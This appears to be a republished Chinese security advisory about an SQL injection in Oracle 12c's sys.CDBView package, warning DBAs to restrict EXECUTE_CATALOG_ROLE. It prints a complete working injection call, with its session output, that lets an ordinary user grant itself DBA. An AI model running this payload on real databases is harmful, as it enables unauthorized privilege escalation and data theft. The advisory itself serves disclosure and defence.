【安全警告】Oracle 12c 多租户的SQL注入高危风险防范

用Oracle多租户选件时,由于Container容器和PDB融合共存,则权限控制必将更加重要,在之前的文章中我们提到,Oracle 12.2 的 lockdown profile就是为了实现PDB中更为全面的权限控制。

我们在2016年『比特币事件』中,总结了数据安全的十六大军规其中有一条也明确提到最小权限守则,而且要真正实现权限管理

SQL注入攻击的风险

我们来看看如果权限控制不当,可能遭遇到的数据库安全风险。根据最近披露的风险之一,通过SQL注入可能影响数据库的安全,以下问题影响到多租户的12.1.0.2.0最新版本。

假如我们在CDB中拥有一个普通用户,因为某种原因它申请和被授予了EXECUTE_CATALOG_ROLE的角色:

SQL> connect / as sysdba

Connected.

SQL> create user c##eygle identified by eygle;

User created.

SQL> grant execute_catalog_role,create session to c##eygle;

Grant succeeded.

SQL> select granted_role from user_role_privs;

GRANTED_ROLE

---------------------------------------------

EXECUTE_CATALOG_ROLE

我们看看这一角色可能由此深入所做出的尝试,经常讨论的SQL注入也就在这个知识范畴之中。

当以下一个系列的SQL被执行之后,一个普通用户获得了DBA的权限,如果这是在一个多租户的环境中,这个提权将是非常危险的:

SQL> connect c##eygle/eygle

Connected.

SQL> select granted_role from user_role_privs;

GRANTED_ROLE

-----------------------------------------------------

EXECUTE_CATALOG_ROLE

SQL> exec sys.CDBView.create_cdbview(true,'ALL_POLICIES" as select /*+WITH_PLSQL*/ x from (WITH FUNCTION f RETURN varchar2 IS PRAGMA AUTONOMOUS_TRANSACTION;BEGIN /* ','yh_view' ,' */ execute immediate ''grant dba to c##eygle''; RETURN ''1'';END; SELECT f as x FROM dual)-- ');

*

ERROR at line 1:

ORA-00905: missing keyword

ORA-06512: at "SYS.CDBVIEW", line 58

ORA-06512: at line 1

SQL> select  /*+WITH_PLSQL*/ * from ALL_POLICIES;

X

-------

1

SQL> select granted_role from user_role_privs;

GRANTED_ROLE

----------------------------

DBA

EXECUTE_CATALOG_ROLE

SQL> select banner from v$version;

BANNER

----------------------------------------------------------------------------------------

Oracle Database 12c Enterprise Edition Release 12.1.0.2.0 - 64bit Production

PL/SQL Release 12.1.0.2.0 - Production

CORE 12.1.0.2.0 Production

TNS for Linux: Version 12.1.0.2.0 - Production

NLSRTL Version 12.1.0.2.0 - Production

当然作为资深的DBA来说,我们应当知道EXECUTE_CATALOG_ROLE这一角色权限是非常危险的,要严格控制这一权限的授予。这一注入,实际上是利用了 CDBView 包的校验漏洞,进行了注入提权。

包 sys.CDBView 的主要内容如下(在安装脚本中是明文的),风险来自于脚本内部的校验缺失:

create or replace package sys.CDBView as 

  ----------------------------

  --  PROCEDURES AND FUNCTIONS

 --

procedure create_cdbview(chk_upgrd IN boolean, owner IN varchar2,

oldview_name IN varchar2, newview_name IN varchar2);

end CDBView;

/

grant execute on sys.CDBView to execute_catalog_role

/

create or replace package body sys.CDBView is

-- Create the cdb view

-- private helper procedure to create the cdb view

-- Note that quotes should not be added around owner, oldview_name and 

-- newview_name before create_cdbview is invoked since all three are used 

-- as literals to query dictionary views.

procedure create_cdbview(chk_upgrd IN boolean, owner IN varchar2,

oldview_name IN varchar2, newview_name IN varchar2) as

sqlstmt            varchar2(4000);

col_name        varchar2(128);

comments       varchar2(4000);

col_type            number;

upper_owner    varchar2(128);

upper_oldview  varchar2(128);

quoted_owner   varchar2(130); -- 2 more than size of owner

quoted_oldview varchar2(130); -- 2 more than size of oldview_name

quoted_newview varchar2(130); -- 2 more than size of newview_name

cursor tblcommentscur is select c.comment$

from sys.obj$ o, sys.user$ u, sys.com$ c

where o.name = upper_oldview and u.name = upper_owner

and o.obj# = c.obj# and o.owner#=u.user# and o.type# = 4

and c.col# is null;

cursor colcommentscur is select c.name, co.comment$, c.type#

from sys.obj$ o, sys.col$ c, sys.user$ u, sys.com$ co

where o.name = upper_oldview and u.name = upper_owner

and o.owner# = u.user# and o.type# = 4 and o.obj# = c.obj#

and c.obj# = co.obj# and c.intcol# = co.col#

and bitand(c.property, 32) = 0;

begin

-- convert owner and view names to upper case

upper_owner    := upper(owner);

upper_oldview  := upper(oldview_name);

quoted_owner   := '"' || upper_owner         || '"';

quoted_oldview := '"' || upper_oldview       || '"';

quoted_newview := '"' || upper(newview_name) || '"';

-- create cdb view

sqlstmt := 'CREATE OR REPLACE VIEW ' || 

quoted_owner || '.' || quoted_newview || 

' CONTAINER_DATA AS SELECT * FROM CONTAINERS(' ||

quoted_owner || '.' || quoted_oldview || ')';

--dbms_output.put_line(sqlstmt);

execute immediate sqlstmt;

......

end if;

end loop;

close colcommentscur;

end;

end CDBView;

/

show errors;

/

安全风险无处不在,提高安全意识刻不容缓。

在云和恩墨的Bethune自动化巡检平台上,我们已经向着用户发出这一警示,强烈推荐大家通过Bethune ( https://bethune.enmotech.com )平台检测数据库的安全风险及性能状况,目前该平台完全免费

文章转自数据和云公众号,原文链接

时间: 2024-11-02 13:45:22

【安全警告】Oracle 12c 多租户的SQL注入高危风险防范的相关文章

Oracle 12c多租户特性详解:全局用户与本地用户的原理与维护

(题图来自Oracle VP , Sally Piao的摄影佳作,感谢摄影师授权) 编辑手记:这一节我们将介绍多租户架构中用户及权限的变化,全局用户和本地用户,管理方式和内部实现,这篇文章来自<深入解析Oracle>一书的摘录. 前情回顾:Oracle 12c多租户特性详解:从Schema到PDB的变化与隔离 COMMON 和 Local 用户 无论在 CDB 和 Non-CDB 数据库中,用户都拥有一个 Schema,拥有一系列的 Schema 对象,在 CDB 中由于 PDB 的引入,用户

Oracle 12c多租户架构及优缺点

Oracle的多租户和MySQL,MSSQL的类似,把之前的一个实例对一个数据库的情形(RAC是多个实例对一个数据库)整合成了一个实例下可以挂多个数据库,并且定义为可插拔的,听起来很炫.就像在没有多租户特性之前,Oracle与MSSQL以及MySQL还是有很大的差异,因此对于Oracle的多租户也有一些不同的地方.本文主要描述Oracle 12c多租户架构. 一.多租户概念 Oracle多租户环境包含一个容器数据库(CDB)和零个或多个可插拔数据库(PDB),一个PDB是一个模式,模式对象,以及

Joomla! v3.7 SQL注入高危漏洞技术分析(CVE-2017-8917)

本文讲的是Joomla! v3.7 SQL注入高危漏洞技术分析(CVE-2017-8917),近日,全球知名内容管理系统Joomla!爆出高危安全漏洞,任何能访问网站的用户都可以发起攻击,窃取用户会话和账号密码. 安全风险:严重 漏洞类型:SQL注入 影响版本:3.7 修复版本:3.7.1 CVE编号:CVE-2017-8917 漏洞描述 com_fields组件出现漏洞,com_fields组件是在3.7版本添加的,如果你使用此版本,将受到影响,并应尽快更新.这个组件可以公开访问,意味着任何能

Oracle 12c多租户特性详解:从Schema到PDB的变化与隔离

(题图来自Oracle VP , Sally Piao的摄影佳作,感谢摄影师授权) 编辑手记:Oracle 12c的多租户特性是Oracle Database历史上最重要的革新之一,在云时代这一特性展现出强大的整合威力,这篇文章来自<深入解析Oracle>一书的摘录. 在Oracle Database 12c版本中,一个重要的新特性:插接式数据库(Pluggable Database)被引入进来.在12c之前的版本中,Oracle数据库中的多用户管理通过Schema – 模式管理方式来实现,而

Oracle 12c多租户特性详解:PDB 的出与入 InAndOut

(题图来自Oracle VP , Sally Piao的摄影佳作,感谢摄影师授权) 编辑手记:这一节我们将介绍多租户中PDB的Plug-Out 与 Plug-In与备份恢复,这篇文章来自<深入解析Oracle>一书的摘录. 将 Non-PDB 插入 CDB   在12c中,可以将一个非 CDB(也即NON-CDB)插入到 CDB 中,这个过程需要在只读模式下进行.   以下测试首先启动一个常规的 Non-CDB 数据库: 这个数据库中已经预先建立了一个数据库用户,并且有一个测试表: 在12c中

Oracle 12c多租户特性详解:PDB 的备份与恢复

(题图来自Oracle VP , Sally Piao的摄影佳作,感谢摄影师授权) 编辑手记:这一节我们将介绍多租户中的备份与恢复,这篇文章来自<深入解析Oracle>一书的摘录. 由于 PDB 的引入,Oracle 数据库的备份和恢复也发生了很多变化,基于 PDB 级别的表空间.库备份同时被支持.以下通过实际测试介绍一下12c中关于 PDB 的备份恢复过程. ⑴ 启动归档模式   首先启动数据库的归档模式(需要以IMMEDIATE方式关闭数据库,执行模式更改): 根据数据库的实际情况,设置闪

回答了这四个问题,少踩12c 多租户的好多坑

ACOUG的年终大会上,我分享了一个主题,列举了使用Oracle 12c多租户的过程中可能遇到的各种坑,当你使用一个新产品或者新特性时,如果你不了解,就可能是使用中,陷入其中. 首先我们已经知道,Oracle 12c的多租户特性,允许在一个容器数据库中,创建多个PDB,这些PDB彼此隔离和独立,但是依赖CDB而存在. 问题一:PDB丢失一个文件数据库会如何? 现在请大家思考一个问题:如果某个PDB中,因为意外而丢失了一个数据文件,那么数据库会怎样? 目前我们涉及的版本包括:12.1.0.1.0

Oracle 12c手工建库(非CDB及CDB创建)

对于Oracle数据库的创建,Oracle除了支持dbca(GUI界面),同时也支持手工方式创建数据库,即使用CREATE DATABASE语句创建数据库.使用此语句对使用DBCA的一个优点是可以从脚本内创建数据库.在Oracle 12c版本中支持12c之前的非CDB数据库以及CDB容器数据库.因此创建方式略有不同.本文同时描述2种不同数据库的手工创建方法. 一.12c手工创建非CDB数据库 步骤1:指定实例标识符(SID) ORACLE_SID的环境变量用于该实例从稍后可能创建并同时在同一主机

Oracle 12c CDB数据库中数据字典架构

数据字典就是元数据的集合,比如创建的表,列,约束,触发器等等这些都是元数据,需要保存到数据库中.除此之外,Oracle自身的一些数据库对象,如目录,PL/SQL代码等等这些都是元数据,都需要存放在数据字典中.随着12c 容器数据的普及,Oracle数据字典发生了哪些变化呢,下文即是具体描述. 一.数据字典及其形成 1.数据字典 数据字典是元数据的集合,从逻辑上和物理上描述了数据库及内容,存储于SYSTEM与SYSAUX表空间内的若干段. SYS用户拥有所有的数据字典表,数据字典基本一般以结尾,如